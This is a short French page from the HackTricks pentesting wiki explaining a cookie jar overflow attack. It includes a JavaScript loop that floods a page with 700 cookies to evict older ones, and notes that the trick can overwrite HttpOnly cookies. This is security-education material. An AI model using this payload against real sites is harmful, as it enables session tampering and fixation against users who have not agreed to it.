hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md
2023-06-03 13:10:46 +00:00

2.6 KiB

Les navigateurs ont une limite sur le nombre de cookies qu'ils peuvent stocker pour une page. Ainsi, si pour une raison quelconque vous devez faire disparaître un cookie, vous pouvez déborder le pot de cookies car les plus anciens seront supprimés en premier :

// Set many cookies
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Notez que les cookies tiers pointant vers un domaine différent ne seront pas écrasés.

{% hint style="danger" %} Cette attaque peut également être utilisée pour écraser les cookies HttpOnly car vous pouvez le supprimer puis le réinitialiser avec la valeur que vous voulez.

Vérifiez cela dans cet article avec un laboratoire. {% endhint %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥